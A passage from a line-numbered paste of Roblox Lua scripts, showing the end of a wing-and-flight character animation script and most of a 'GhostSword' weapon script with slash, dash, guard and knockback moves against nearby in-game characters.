  2206.             cfr = CFrame.new(cf.p + Vector3.new(0,3*modelScale,0)) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2207.         elseif math.abs(-cf.Y-siz.Y) < .03 then
  2208.             cfr = CFrame.new(cf.p - Vector3.new(0,3*modelScale,0)) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),math.pi)
  2209.         elseif math.abs(cf.X-siz.X) < .03 then
  2210.             cfr = CFrame.new(cf.p + Vector3.new(3*modelScale,0,0)) * CFrame.Angles(0,0,-math.pi/2) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2211.         elseif math.abs(-cf.X-siz.X) < .03 then
  2212.             cfr = CFrame.new(cf.p - Vector3.new(3*modelScale,0,0)) * CFrame.Angles(0,0,math.pi/2) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2213.         elseif math.abs(cf.Z-siz.Z) < .03 then
  2214.             cfr = CFrame.new(cf.p + Vector3.new(0,0,3*modelScale)) * CFrame.Angles(math.pi/2,0,0) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2215.         elseif math.abs(-cf.Z-siz.Z) < .03 then
  2216.             cfr = CFrame.new(cf.p - Vector3.new(0,0,3*modelScale)) * CFrame.Angles(-math.pi/2,0,0) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2217.         end
  2218.         if cfr then
  2219.             pcall(function() sitting:Destroy() end)
  2220.             flying = false
  2221.             state = "sit"
  2222.             if m.Target.Anchored then
  2223.                 sitting = {tar = tar, cf = cfr}
  2224.             else
  2225.                 sitting = weld(tar,root,cfr)
  2226.             end
  2227.         end
  2228.     end
  2229. end)
  2230. m.KeyUp:connect(function(k)
  2231.     kd[k] = nil
  2232. end)
  2233.  
  2234. hum.Running:connect(function(spd)
  2235.     if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
  2236.     humspd = spd
  2237.     state = flying and "fly" or (spd < 1 and "idle" or "walk")
  2238. end)
  2239. hum.Climbing:connect(function(spd)
  2240.     if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
  2241.     humspd = spd
  2242.     state = flying and "fly" or (spd < 1 and "idle" or "walk")
  2243. end)
  2244. hum.Seated:connect(function(a)
  2245.     state = a and "sit" or humspd > 0 and "idle" or "walk"
  2246. end)
  2247.  
  2248. hum.Changed:connect(function()
  2249.     if hum.Jump then
  2250.         hum.Jump = false
  2251.     end
  2252. end)
  2253.  
  2254. hum.FreeFalling:connect(function()
  2255.     if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
  2256.     state = math.abs(tor.Velocity.Y) > 1 and "inair" or state
  2257. end)
  2258.  
  2259. hum.FallingDown:connect(function(a)
  2260.     if not a then return end
  2261.     state = "inair"
  2262. end)
  2263.  
  2264.  
  2265.  
  2266. while true do
  2267.     runservice.RenderStepped:wait()
  2268.     local cam = workspace.CurrentCamera
  2269.     local alpha = .2
  2270.     sparkles.Enabled = senabled and flying and tor.Velocity.magnitude > 3
  2271.     pl.Enabled = lenabled
  2272.     if state ~= "fly" then
  2273.         if type(sitting) == "table" then
  2274.             gyro.maxTorque = Vector3.new(1,1,1)*4e6
  2275.             vel.maxForce = Vector3.new(1,1,1)*4e5
  2276.             gyro.cframe = sitting.tar.CFrame * sitting.cf
  2277.             vel.velocity = (gyro.cframe.p-root.Position)*10
  2278.         else
  2279.             gyro.maxTorque,vel.maxForce = Vector3.new(),Vector3.new()
  2280.         end
  2281.     end
  2282.     if sitting then
  2283.         state = "sit"
  2284.     end
  2285.     tw.MaxVelocity,rh.MaxVelocity,lh.MaxVelocity,rs.MaxVelocity,ls.MaxVelocity,nk.MaxVelocity = 0,0,0,0,0,0
  2286.     tw.CurrentAngle,rh.CurrentAngle,lh.CurrentAngle,rs.CurrentAngle,ls.CurrentAngle,nk.CurrentAngle = 0,0,0,0,0,0
  2287.  
  2288.     local hasRobe = outfit == 1
  2289.  
  2290.     if state == "idle" then
  2291.         hum.PlatformStand = false
  2292.         local breathing = math.sin(tick()*2)
  2293.         local tilt = .02 + breathing*.03
  2294.         w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
  2295.         w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)
  2296.  
  2297.         tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
  2298.         rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt,hasRobe and 0 or -.1,hasRobe and 0 or .06),alpha)
  2299.         lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt,hasRobe and 0 or .1,hasRobe and 0 or -.06),alpha)
  2300.         rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt,0,.1),alpha)
  2301.         ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt,0,-.1),alpha)
  2302.         nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.05-.03,0,0),alpha)
  2303.     elseif state == "inair" then
  2304.         hum.PlatformStand = false
  2305.         local wings = math.sin(tick()*80)
  2306.         w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.15+wings*.3,0),.6)
  2307.         w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.15-wings*.3,0),.6)
  2308.         local alpha = .15
  2309.         local tilt = .05
  2310.         local wavey = math.sin(tick()*3)
  2311.         tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
  2312.         rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+wavey*.1,0,hasRobe and 0 or .02),alpha)
  2313.         lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt-wavey*.1,0,hasRobe and 0 or -.02),alpha)
  2314.         rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt-wavey*.07,0,.01),alpha)
  2315.         ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+wavey*.07,0,-.01),alpha)
  2316.         nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+.2,0,0),alpha)
  2317.     elseif state == "walk" then
  2318.         hum.PlatformStand = false
  2319.         local walking = math.sin(tick()*25)
  2320.         local breathing = math.sin(tick()*2)
  2321.         local tilt = -.03-breathing*.02+walking*.01
  2322.         alpha = .6
  2323.         w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.05+breathing*.01+walking*.05,0),alpha)
  2324.         w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.05-breathing*.01+walking*.05,0),alpha)
  2325.  
  2326.         tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,-walking*.08,0),alpha)
  2327.         rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+walking*.3,0,hasRobe and 0 or .02),alpha)
  2328.         lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt-walking*.3,0,hasRobe and 0 or -.02),alpha)
  2329.         rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt+.05-walking*.25,0,.01),alpha)
  2330.         ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+.05+walking*.25,0,-.01),alpha)
  2331.         nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.04,walking*.07,0),alpha)
  2332.     elseif state == "sit" then
  2333.         hum.Sit = false
  2334.         hum.PlatformStand = true
  2335.         local breathing = math.sin(tick()*2)
  2336.         local upvec = root.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))
  2337.         if upvec.Y > .4 then
  2338.             local tilt = -.55+breathing*.015
  2339.             w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
  2340.             w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)
  2341.             tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0)+Vector3.new(0,-1.7,0)*modelScale,alpha)
  2342.             rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+1.57,0,hasRobe and 0 or .6),alpha)
  2343.             lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt+1.57,0,hasRobe and 0 or -.6),alpha)
  2344.             rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt+.3,0,-.1)*CFrame.Angles(hasRobe and .3 or 0,hasRobe and .2 or 0,hasRobe and -.2 or 0)+(hasRobe and 0 or 1)*Vector3.new(-.85,-.25,-.25)*modelScale,alpha)
  2345.             ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+.3,0,.1)*CFrame.Angles(hasRobe and .3 or 0,hasRobe and -.2 or 0,hasRobe and .2 or 0)+(hasRobe and 0 or 1)*Vector3.new(.85,-.25,-.25)*modelScale,alpha)
  2346.             nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.04-.03,0,math.sin(tick()*4)*.06),alpha)
  2347.         else -- wallhug
  2348.             local breathing = math.sin(tick()*5)
  2349.             local tilt = -1.55+breathing*.015
  2350.             w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
  2351.             w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)
  2352.             tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0)+Vector3.new(0,-2.5,0)*modelScale,alpha)
  2353.             rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(.2,0,hasRobe and 0 or .5)+Vector3.new(0,hasRobe and 0 or .2,0)*modelScale,alpha)
  2354.             lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(.2,0,hasRobe and 0 or -.5)+Vector3.new(0,hasRobe and 0 or .2,0)*modelScale,alpha)
  2355.             rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(2.9,0,.8)+Vector3.new(-.2,.4,0)*modelScale,alpha)
  2356.             ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(2.9,0,-.8)+Vector3.new(.2,.4,0)*modelScale,alpha)
  2357.             nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(breathing*.04+.7,0,0),alpha)
  2358.         end
  2359.     elseif state == "fly" then
  2360.         hum.PlatformStand = true
  2361.         gyro.maxTorque = Vector3.new(1,1,1)*4e6
  2362.         vel.maxForce = Vector3.new(1,1,1)*4e5
  2363.  
  2364.         local velocity = Vector3.new((kd.d and 1 or 0)+(kd.a and -1 or 0),0,(kd.s and 1 or 0)+(kd.w and -1 or 0))
  2365.         velocity = cam.CoordinateFrame:vectorToWorldSpace(velocity)
  2366.         local maxspeed = 40-(velocity.magnitude > 0 and velocity.unit.Y*20 or 0)
  2367.         if velocity.magnitude > 0 then
  2368.             flyspeed = lerp(flyspeed,maxspeed,.1)
  2369.             flydir = flydir:Lerp(velocity.unit,.4).unit
  2370.             hoverheight = nil
  2371.         else
  2372.             flyspeed = lerp(flyspeed,0,.3)
  2373.             flydir = (flydir*Vector3.new(1,0,1)).unit
  2374.             hoverheight = hoverheight or root.Position.Y
  2375.         end
  2376.         vel.velocity = flydir.unit * flyspeed
  2377.         if hoverheight then
  2378.             vel.velocity = vel.velocity + Vector3.new(0,hoverheight-root.Position.Y,0)
  2379.         end
  2380.         gyro.cframe = CFrame.new(Vector3.new(),flydir*Vector3.new(1,0,1))
  2381.  
  2382.         rl.CanCollide,ll.CanCollide = true,true
  2383.  
  2384.         local wings = math.sin(tick()*80)
  2385.         w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.15+wings*.3,0),.6)
  2386.         w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.15-wings*.3,0),.6)
  2387.         local alpha = .15
  2388.         local flytilt = (flyspeed/maxspeed)
  2389.         local tilt = flytilt*-1.4 + math.asin(gyro.cframe:vectorToObjectSpace(flydir).unit.Y)
  2390.         local wavey = math.sin(tick()*6)
  2391.         tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
  2392.         rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(wavey*.1,hasRobe and 0 or -.08,hasRobe and 0 or .1),alpha)
  2393.         lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-wavey*.1,hasRobe and 0 or .08,hasRobe and 0 or -.1),alpha)
  2394.         rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-wavey*.15,-.08,.1),alpha)
  2395.         ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(wavey*.15,.08,-.1),alpha)
  2396.         nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt*.8,0,0),alpha)
  2397.     end
  2398. end
  2399. ]==]
  2400.  
  2401. GhostSword = [==[
  2402. Me = game:service("Players").LocalPlayer
  2403. Char = Me.Character
  2404. lastpoint = Vector3.new(0, 0, 0)
  2405. Modes = {"Ranged", "Blocking", "Normal"}
  2406. Mode = Modes[Number]
  2407. leds = {}
  2408. Jumped = 0
  2409. Jumping = false
  2410. AbletoJump = true
  2411. Char.Humanoid.WalkSpeed = 30
  2412. Combo = 0
  2413. Guarding = false
  2414. attackdebounce = false
  2415. Selected = false
  2416. NormalModeColor = "Cyan"
  2417. RangedModeColor = "Really red"
  2418. BlockModeColor = "New Yeller"
  2419. BaseColor = "White"
  2420. Activated = false
  2421. LeftArm = Char["Left Arm"]  
  2422. RightArm = Char["Right Arm"]  
  2423. necko=CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  2424. RSH, LSH = nil, nil
  2425. if script.Parent.className ~= "HopperBin" then
  2426. h = Instance.new("HopperBin", Me.Backpack)
  2427. h.Name = "[[>> BrannZeus <<]] Blade"
  2428. script.Name = "Made by: [[>> BrannZeus© <<]]"
  2429. script.Parent = h
  2430. end
  2431. bin = script.Parent
  2432. Model = Instance.new("Model", Char)
  2433. Model.Name = "[[>> BrannZeus <<]] Blade"
  2434. Make = {["P"] = function(parent, x,y,z, color, transparency, cancollide, anchored)
  2435. c = Instance.new("Part",Model)
  2436. c.TopSurface,c.BottomSurface = 0,0
  2437. c.Locked = true
  2438. c.formFactor = "Custom"
  2439. c.Size = Vector3.new(x,y,z)
  2440. if color ~= "random" then
  2441. c.BrickColor = BrickColor.new(color)
  2442. else c.BrickColor = BrickColor:random() end
  2443. c.Transparency = transparency
  2444. c.CanCollide = cancollide
  2445. if anchored ~= nil then c.Anchored = anchored end
  2446. if parent ~= nil then c.Parent = parent end
  2447. return c
  2448. end;
  2449. ["BG"] = function(parent)
  2450. local c = Instance.new("BodyGyro",parent)
  2451. c.P = 10e+15
  2452. c.cframe = parent.CFrame
  2453. c.maxTorque = Vector3.new(c.P,c.P,c.P)
  2454. return c
  2455. end;
  2456. ["BP"] = function(parent, pos)
  2457. local bp = Instance.new("BodyPosition",parent)
  2458. bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2459. bp.position = pos
  2460. return bp
  2461. end;
  2462. ["F"] = function(parent, size, heat, color, secondarycolor, enabled)
  2463. f = Instance.new("Fire",parent)
  2464. f.Size = size
  2465. f.Heat = heat
  2466. if enabled ~= nil then f.Enabled = enabled end
  2467. if color ~= nil then f.Color = BrickColor.new(color).Color end
  2468. if secondarycolor ~= nil then f.SecondaryColor = BrickColor.new(secondarycolor).Color end
  2469. return f
  2470. end;
  2471. ["FM"] = function(parent, meshid, x,y,z, meshtexture)
  2472. if meshid == "cylinder" then
  2473. mesh = Instance.new("CylinderMesh",parent)
  2474. mesh.Scale = Vector3.new(x,y,z)
  2475. return mesh
  2476. else
  2477. mesh = Instance.new("SpecialMesh",parent)
  2478. if meshid ~= "sphere" then
  2479. if type(meshid) == "number" then mesh.MeshId = "rbxassetid://"..meshid else
  2480. mesh.MeshId = "rbxassetid://"..meshids[meshid]
  2481. end
  2482. else mesh.MeshType = 3 end
  2483. mesh.Scale = Vector3.new(x,y,z)
  2484. if meshtexture ~= nil then
  2485. if type(meshtexture) == "number" then mesh.TextureId = "rbxassetid://"..meshtexture else
  2486. mesh.TextureId = "rbxassetid://"..textureids[meshtexture] end
  2487. end
  2488. return mesh
  2489. end
  2490. end}
  2491. M = {["Cos"] = function(a) return math.cos(a) end;
  2492. ["Sin"] = function(a) return math.sin(a) end;
  2493. ["Rad"] = function(a) return math.rad(a) end}
  2494. FakeTorso = Make.P(Char, 1,1,1, "White", 1, false, true)
  2495. FakeTorso.BrickColor = Char.Torso.BrickColor
  2496. Mesh = Instance.new("BlockMesh", FakeTorso)
  2497. Mesh.Scale = Char.Torso.Size
  2498. BaseThing = Make.P(Model, 1,1,1, NormalModeColor, 1 ,false, true)
  2499. BaseMesh = Make.FM(BaseThing,68075671 , 0.5, 0.5, 0.5)
  2500. Handle = Make.P(Model, 0.3,1.5,0.3, BaseColor, 1 ,false, true)
  2501. Tip2 = Make.P(Model, 0.23, 0.1, 0.7, NormalModeColor, 1, false, true)
  2502. Tip1 = Make.P(Model, 0.23, 0.1, 0.7, NormalModeColor, 1, false, true)
  2503. BigTip1 = Make.P(Model, 0.22, 0.4, 0.8, BaseColor, 1, false, true)
  2504. BigTip2 = Make.P(Model, 0.22, 0.4, 0.8, BaseColor, 1, false, true)
  2505. HitBox = Make.P(Model, 2.5, 0.25, 4.3, "White", 1, false, true)
  2506. HitBox.Name = "HitBox"
  2507. Diamond = Make.P(Model, 1,1,1, BaseColor, 1 ,false, true)
  2508. DiamondMesh = Make.FM(Diamond,9756362 , 0.3, 0.3, 0.5)
  2509. HandleSturf = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
  2510. HandleSturf2 = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
  2511. HandleSturf3 = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
  2512. LongSword = Make.P(Model, 0.8, 0.22, 3.7, BaseColor, 1, false, true)
  2513. LongSword2 = Make.P(Model, 0.39, 0.23, 3.6, NormalModeColor, 1, false, true)
  2514. BigWedgeMesh2 = Instance.new("SpecialMesh", BigTip2)
  2515. BigWedgeMesh2.MeshType = "Wedge"
  2516. BigWedgeMesh1 = Instance.new("SpecialMesh", BigTip1)
  2517. BigWedgeMesh1.MeshType = "Wedge"
  2518. WedgeMesh1 = Instance.new("SpecialMesh", Tip1)
  2519. WedgeMesh1.MeshType = "Wedge"
  2520. WedgeMesh1.Scale = Vector3.new(1, 1, 1)
  2521. WedgeMesh2 = Instance.new("SpecialMesh", Tip2)
  2522. WedgeMesh2.MeshType = "Wedge"
  2523. WedgeMesh2.Scale = Vector3.new(1, 1, 1)
  2524. LongMesh = Instance.new("BlockMesh", LongSword)
  2525. LongMesh.Scale = Vector3.new(1, 1, 1)
  2526. LongMesh2 = Instance.new("BlockMesh", LongSword2)
  2527. LongMesh2.Scale = Vector3.new(1, 1, 1)
  2528. HandleWedge1 = Make.P(Model, 0.215, 0.9, 1.5, BaseColor, 1, false, true)
  2529. HandleWedge2 = Make.P(Model, 0.24, 0.9, 1.5, BaseColor, 1, false, true)
  2530. WedgeMesh11 = Instance.new("SpecialMesh", HandleWedge2)
  2531. WedgeMesh11.MeshType = "Wedge"
  2532. WedgeMesh11.Scale = Vector3.new(1, 1, 1)
  2533. WedgeMesh22 = Instance.new("SpecialMesh", HandleWedge1)
  2534. WedgeMesh22.MeshType = "Wedge"
  2535. WedgeMesh22.Scale = Vector3.new(1, 1, 1)
  2536. Handle2 = Make.P(Model, 2, 0.22, 0.4, BaseColor, 1, false, true)
  2537. HandleBlock = Instance.new("BlockMesh", Handle2)
  2538. HandleBlock.Scale = Vector3.new(1, 1, 1)
  2539. function Dash()
  2540. Activated = true
  2541. Holding = true
  2542. for i = 0,1,0.1 do
  2543. wait()
  2544. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,0)
  2545. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.4*i,0,0.3*i)
  2546. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2547. RW.C0 = CFrame.new(1.5-0.8*i,0.5,-0.8*i) * CFrame.fromEulerAnglesXYZ(1.2*i,0,-1.2*i)
  2548. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,1*i,0)
  2549. end
  2550. Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit, math.random(20, 30)) end)
  2551. local vel = Instance.new("BodyVelocity", Char.Torso)
  2552. vel.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2553. vel.velocity = Char.Head.CFrame.lookVector * 60
  2554. while Holding == true do
  2555. wait()
  2556. Effect(Char.Torso, 3.5, 2, 3.5, 0, 0,1, 1.5,0,0,BrickColor.new(NormalModeColor), 20329976)
  2557. vel.velocity = Char.Head.CFrame.lookVector * 50
  2558. end
  2559. for i = 0,1,0.1 do
  2560. wait()
  2561. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-1.4+1.4*i,0,-0.3+0.3*i)
  2562. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2563. RW.C0 = CFrame.new(1.5,0.5,-0.8+0.8*i) * CFrame.fromEulerAnglesXYZ(-1.2+1.2*i,0,-1.2+1.2*i)
  2564. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2565. end
  2566. Hitdmg:disconnect()
  2567. vel:remove()
  2568. Activated = false
  2569. end
  2570. function FirstSlash()
  2571. Activated = true
  2572. Combo = 1
  2573. for i = 0,1,0.1 do
  2574. wait()
  2575. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.3*i)
  2576. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2577. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+2*i,0,0.3*i)
  2578. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(-0.5, 0.5*i, 0)
  2579. end
  2580. Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
  2581. for i = 0,1,0.1 do
  2582. wait()
  2583. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,-0.3+0.3*i)
  2584. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2585. RW.C0 = CFrame.new(1.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(0.5+2,0,0.3)
  2586. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(-0.5+2.3*i,0.5, 0)
  2587. end
  2588. wait(0.2)
  2589. Activated = false
  2590. Hitdmg:disconnect()
  2591. end
  2592. function SecondSlash()
  2593. Activated = true
  2594. Combo = 2
  2595. Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
  2596. for i = 0,1,0.1 do
  2597. wait()
  2598. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2599. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2600. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,0,0)
  2601. RW.C1 = CFrame.new(0, 1.55, 0) * CFrame.fromEulerAnglesXYZ(-1*i,-1.2*i,0)
  2602. end
  2603. wait(0.2)
  2604. Activated = false
  2605. Hitdmg:disconnect()
  2606. end
  2607. function ThirdSlash()
  2608. Activated = true
  2609. Combo = 3
  2610. Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
  2611. coroutine.resume(coroutine.create(function()
  2612. for i = 0,1,0.1 do
  2613. wait()
  2614. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2615. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2616. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
  2617. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
  2618. end
  2619. end))
  2620. wait(0.2)
  2621. Activated = false
  2622. Hitdmg:disconnect()
  2623. end
  2624. function Jump()
  2625. Jumped = Jumped +1
  2626. Jumping = true
  2627. Jumpp = Instance.new("BodyVelocity", Char.Torso)
  2628. Jumpp.P = 500
  2629. Jumpp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2630. Jumpp.velocity = Char.Torso.Position + Vector3.new(0, 80, 0)
  2631. game:service("Debris"):AddItem(Jumpp, 0.0000000000001)
  2632. Jumpp:Destroy(wait(0.0000000000001))
  2633. Jumpp:Remove(wait(0.0000000000001))
  2634. wait(1)
  2635. AbletoJump = false
  2636. Jumping = false
  2637. end
  2638. function SuperCombo()
  2639. Activated = true
  2640. for i = 0,1,0.1 do
  2641. wait()
  2642. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.3*i,0,0)
  2643. Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, 0, 0)
  2644. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,-0.5*i)
  2645. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2646. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0.5*i)
  2647. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2648. end
  2649. sturf = Make.P(Char, 1,1,1, NormalModeColor, 1, false, true)
  2650. sturf.CFrame = Char.Torso.CFrame*CFrame.new(0,-2.8,0)
  2651. msh = Make.FM(sturf,'cylinder',0,0,0)
  2652. for i = 0,1,0.1 do wait(0.025)
  2653. sturf.Transparency = sturf.Transparency -0.06
  2654. msh.Scale = msh.Scale + Vector3.new(1.5,0.025,1.5)
  2655. end
  2656. for i, v in pairs(game:service("Players"):GetPlayers()) do
  2657. if v.Name ~= Me.Name and (v.Character.Torso.Position - Char.Torso.Position).magnitude < 10 then
  2658. EBp = Instance.new("BodyPosition", v.Character.Torso)
  2659. EBp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2660. EBp.position = v.Character.Torso.Position + Vector3.new(0, 10, 0)
  2661. game:service("Debris"):AddItem(EBp,1)
  2662. end
  2663. end
  2664. wait(1)
  2665. Char.Torso.Neck.C0=necko
  2666. sturf:remove()
  2667. Activated = false
  2668. end
  2669. function Guard()
  2670. Activated = true
  2671. Guarding = true
  2672. Mode = "Blocking"
  2673. for i = 0,1,0.1 do
  2674. wait()
  2675. Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, -0.25*i, 0)
  2676. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,0.5*i)
  2677. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5*i,0,-1.25*i)
  2678. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2679. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0.4*i)
  2680. end
  2681. SaveHealth = Char.Humanoid.Health
  2682. taco = Instance.new("Part",Char)
  2683. taco.Size = Vector3.new(1,1,1)
  2684. taco.CanCollide = false
  2685. taco.Anchored = true
  2686. taco.Transparency = 1
  2687. while Guarding == true do wait()
  2688. for i = 0,1,0.1 do
  2689. wait()
  2690. taco.CFrame = Char.Torso.CFrame*CFrame.new(-3,0,0)*CFrame.fromEulerAnglesXYZ(0,math.pi/2,0)
  2691. Shield = Effect(Char.Torso, 4,4,3, -4,0,-1, math.pi/-2,0,1,BrickColor.new(BlockModeColor), 60120613)
  2692. end
  2693. if Char.Humanoid.Health < SaveHealth then
  2694. DamageTaken = SaveHealth - Char.Humanoid.Health
  2695. end
  2696. pcall(function() Char.Humanoid.Health:TakeDamage(DamageTaken/999999999999999999999999999999) end)
  2697. coroutine.resume(coroutine.create(function()
  2698. for i, x in pairs(game:service("Players"):GetPlayers()) do
  2699. if x.Name ~= Me.Name and (x.Character.Torso.Position - RightArm.Position).magnitude < 7 then
  2700. derp = Instance.new("BodyVelocity", x.Character.Torso)
  2701. derp.P = 200
  2702. derp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2703. derp.velocity = taco.CFrame.lookVector * 80
  2704. game:service("Debris"):AddItem(derp,0.2)
  2705. end
  2706. end
  2707. end))
  2708. end
  2709. taco:Destroy()
  2710. coroutine.resume(coroutine.create(function()
  2711. for i = 0,1,0.1 do
  2712. wait()
  2713. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,-0.5+0.5*i)
  2714. Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, 0.25*i, 0)
  2715. end
  2716. end))
  2717. Activated = false
  2718. Mode = "Normal"
  2719. end
  2720. function Shockwave()
  2721. Activated = true
  2722. Mode = "Ranged"
  2723. derpin = true
  2724. for i = 0,1,0.1 do
  2725. wait()
